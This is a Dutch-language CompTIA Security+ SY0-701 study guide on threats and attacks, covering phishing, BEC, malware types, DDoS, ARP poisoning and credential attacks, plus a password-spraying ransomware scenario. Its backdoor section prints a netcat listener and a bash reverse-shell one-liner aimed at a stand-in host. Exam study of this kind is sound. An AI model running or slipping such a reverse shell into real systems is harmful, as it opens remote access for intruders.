CompTIA SY0-701: Bedreigingen, Aanvallen & Kwetsbaarheden — Studiegids

By Laurynas Brazys · 20 July 2026 · #comptia #sy0-701 #certification #exam-prep #study-guide

Onderdeel van de CompTIA Security+ SY0-701 — Studiegids. Oefen met geverifieerde antwoorden in het CompTIA-examencentrum, of doe getimede oefentests op ExamRoll.io.

Het moderne dreigingslandschap wordt gekenmerkt door tegenstanders die technische uitbuiting combineren met menselijke manipulatie, zwakheden met een lage ernst aan elkaar rijgen tot compromitteringen met een hoge impact, en hun activiteiten verhullen binnen legitieme bedrijfsprocessen. Het begrijpen van dreigingen begint met het begrijpen van intentie, capaciteit en vector — en het weigeren om het oppervlakkige symptoom als de volledige verklaring te accepteren.

Social Engineering en Phishing-varianten

Social engineering maakt misbruik van vertrouwen, urgentie, autoriteit of nieuwsgierigheid in plaats van softwarefouten. Traditionele phishing werpt een breed net uit via e-mail, door algemene lokkertjes zoals valse verzendmeldingen of verzoeken om wachtwoordherstel naar duizenden ontvangers te sturen. Spear phishing richt zich specifieker, door gebruik te maken van verkenning via LinkedIn, bedrijfswebsites of datalekken om berichten op te stellen die zijn afgestemd op een specifiek individu of afdeling. Whaling richt zich op leidinggevenden — de CFO die een bericht ontvangt dat eruitziet alsof het van een externe juridisch adviseur komt, is het klassieke doelwit — omdat hun autoriteit fraude met een grotere impact mogelijk maakt.

Kanaalvarianten breiden dezelfde manipulatie uit naar andere media. Vishing (voice phishing) maakt gebruik van telefoongesprekken, vaak met een vervalst beller-ID en een voorwendsel, zoals het imiteren van de IT-helpdesk om MFA-codes te ontfutselen. Smishing gebruikt sms, waarbij vaak gebruik wordt gemaakt van verkorte URL’s en mobiel-specifieke lokkertjes (“Uw pakket kon niet worden bezorgd — plan hier een nieuwe afspraak”). Omdat mobiele browsers URL’s inkorten en certificaatdetails verbergen, heeft smishing een onevenredig hoog slagingspercentage.

Business Email Compromise (BEC) verdient speciale aandacht omdat er doorgaans helemaal geen malware aan te pas komt. Een aanvaller die ofwel een legitieme mailbox heeft gecompromitteerd of een lookalike-domein heeft gespooft (accounts@vend0r-corp.com in plaats van accounts@vendor-corp.com) mengt zich in een echte factuurconversatie en leidt een bankoverschrijving om. Omdat de inhoud van de e-mail contextueel correct is en er geen bijlagen zijn, bieden gateway anti-malware en URL-sandboxing weinig bescherming. De IC3 van de FBI rapporteerde in één jaar verliezen door BEC van meer dan $2,9 miljard, wat het met een ruime marge de cybercriminaliteitscategorie met de hoogste financiële schade maakt.

Een veelvoorkomende valkuil is het over-interpreteren van goedaardig lijkende symptomen. Wanneer een gebruiker inloggegevens invoert op een phishingsite en een “pagina niet gevonden”-fout krijgt, is het incident niet opgelost — het is een voltooide ‘credential harvest’ waarbij de aanvaller het slachtoffer na de buitmaking heeft doorgestuurd. De afwezigheid van een duidelijke foutpagina is een kenmerk van de aanval, geen bewijs dat deze is mislukt.

Malware-typen

Malware is geen monolithisch begrip. Ransomware versleutelt data en eist losgeld, en moderne varianten zoals Ryuk, Conti en LockBit exfiltreren ook eerst data voor een dubbele afpersingstactiek. Een veelzeggende indicator is een massale wijziging van bestandsextensies — bestanden hernoemd naar .ryk, .locked, of een willekeurige string — gekoppeld aan losgeldbriefjes met de naam README.txt of HOW_TO_DECRYPT.html in elke map.

Rootkits opereren op een veel dieper niveau en haken in op kernelstructuren, system call-tabellen of firmware (bootkits, UEFI-implantaten) om processen, bestanden en netwerkverbindingen voor het besturingssysteem zelf te verbergen. Omdat standaardtools de kernel bevragen die de rootkit controleert, is de output van tasklist of ps niet te vertrouwen; detectie vereist doorgaans offline forensische imaging of vergelijking met een bekende, goede baseline via tools zoals chkrootkit of geheugenanalyse met Volatility.

Backdoors bieden persistente, ongeautoriseerde toegang en worden vaak geïnstalleerd na de initiële compromittering. Ze kunnen de vorm aannemen van een geplande taak die ‘beacont’ naar een command-and-control server, een hardgecodeerde credential in een applicatie, of een luisterende service op een obscure poort. Reverse shells die gebruikmaken van tools zoals Netcat of Meterpreter zijn typerend:

# Attacker listener
nc -lvnp 4444

# Victim callback (dropped by malware)
bash -i >& /dev/tcp/attacker.example/4444 0>&1

De valkuil hier is tunnelvisie bij de triage. Een waarschuwing met het label “malware gedetecteerd” die snel in quarantaine wordt geplaatst, betekent niet dat het incident voorbij is — de initiële ‘dropper’ kan al een backdoor hebben opgezet of een rootkit hebben geïnstalleerd die de endpoint agent niet kan zien.

Netwerkaanvallen

Distributed Denial-of-Service (DDoS)-aanvallen zijn gericht op beschikbaarheid. Volumetrische aanvallen — UDP-floods, ICMP-floods — verbruiken pure bandbreedte. Gereflecteerde/versterkte aanvallen misbruiken diensten van derden die reageren met grotere payloads dan het verzoek; een DNS-query van 60 bytes met een vervalst bronadres kan een respons van 3.000 bytes retourneren, en NTP monlist of memcached-amplificatie kan verhoudingen van meer dan 50.000× bereiken. Wanneer openbare webservices ‘up’ blijven op de server maar onbereikbaar zijn vanaf het internet, en netwerklogs een verkeerspiek vertonen, is de oorzaak bijna altijd een DDoS die upstream-verbindingen of state tables verzadigt — en niet een applicatiebug.

On-path-aanvallen (voorheen “man-in-the-middle”) plaatsen de aanvaller tussen twee communicerende partijen. Op een lokaal netwerk is ARP-poisoning het gebruikelijke mechanisme: de aanvaller stuurt ongevraagde ARP-replies waarin hij claimt het IP-adres van de gateway te bezitten, zodat het verkeer van het slachtoffer stilzwijgend via de host van de aanvaller wordt gerouteerd. Tools zoals ettercap of arpspoof automatiseren dit, waarna de aanvaller TLS kan strippen met sslstrip of content kan injecteren.

Typosquatting registreert domeinen die legitieme domeinen nabootsen (goggle.com, paypa1.com) om verkeerd getypte URL’s op te vangen of om te dienen als overtuigende infrastructuur voor phishing en BEC.

Credentialaanvallen

In plaats van code te misbruiken, richten credentialaanvallen zich op zwakke authenticatie. Brute force probeert elk mogelijk wachtwoord voor één account en is luidruchtig, waardoor beleid voor accountvergrendeling (lockout) wordt geactiveerd. Password spraying draait het model om: probeer een of twee veelvoorkomende wachtwoorden (Winter2024!, Password123) tegen duizenden accounts, waarbij je onder de drempel voor accountvergrendeling blijft voor elk afzonderlijk account. Dit is uitzonderlijk effectief tegen organisaties zonder MFA op hun cloud identity providers.

Credential stuffing gebruikt gebruikersnaam/wachtwoord-paren die zijn verzameld uit eerdere datalekken, en maakt misbruik van het hergebruik van wachtwoorden over verschillende diensten. Omdat de inloggegevens voor ten minste één dienst geldig zijn, omzeilen ze de basisauthenticatiecontroles. Het Okta-datalek in 2022 begon met credential stuffing tegen het account van een externe supportmedewerker — wat aantoont dat zelfs identity providers niet immuun zijn wanneer MFA niet wordt afgedwongen op elk pad met geprivilegieerde toegang.

Pass-the-hash- en pass-the-ticket-aanvallen stelen authenticatiemateriaal uit het geheugen in plaats van wachtwoorden te kraken. Op Windows-systemen kunnen NTLM-hashes die zijn opgeslagen in het LSASS-geheugen worden geëxtraheerd met Mimikatz en opnieuw worden gebruikt om te authenticeren bij andere systemen zonder het platte tekst-wachtwoord te kennen. Kerberos ticket-granting tickets (TGT’s) kunnen op een vergelijkbare manier worden gestolen en hergebruikt. Mitigaties omvatten Credential Guard (dat LSASS isoleert in een op virtualisatie gebaseerde beveiligingsenclave), lidmaatschap van de ‘Protected Users’-beveiligingsgroep en het uitschakelen van NTLM waar Kerberos beschikbaar is.

Praktijkscenario: Ransomware via Password Spraying

Een logistiek bedrijf met 2.400 medewerkers had geen MFA afgedwongen op zijn Microsoft 365-tenant. Een aanvaller voerde gedurende drie dagen een password spray uit, waarbij het wachtwoord Summer2023! werd getest op alle bekende e-mailadressen die van LinkedIn waren verzameld. Eenenveertig accounts hadden een match. De aanvaller gebruikte één gecompromitteerd account — dat van een regiomanager — om toegang te krijgen tot de VPN van het bedrijf, die M365-inloggegevens accepteerde. Vanaf de VPN voerde de aanvaller twee weken lang interne verkenning uit, waarbij back-upservers en domain controllers werden geïdentificeerd. Op een vrijdagavond werd de LockBit-ransomware geactiveerd op 340 servers. Het herstel duurde 19 dagen en kostte ongeveer $4,1 miljoen, inclusief losgeld, forensisch onderzoek en gederfde inkomsten. De hele aanvalsketen werd mogelijk gemaakt door één ontbrekende controlemaatregel: MFA op de M365-tenant. Password spraying is detecteerbaar — een SIEM-regel die mislukte authenticaties van één IP-adres over vele accounts correleert, zou dit op de eerste dag hebben gesignaleerd.

← Identiteits- · Alle domeinen · Netwerkbeveiliging →

Oefen deze vragen → · Getimede oefening op ExamRoll.io →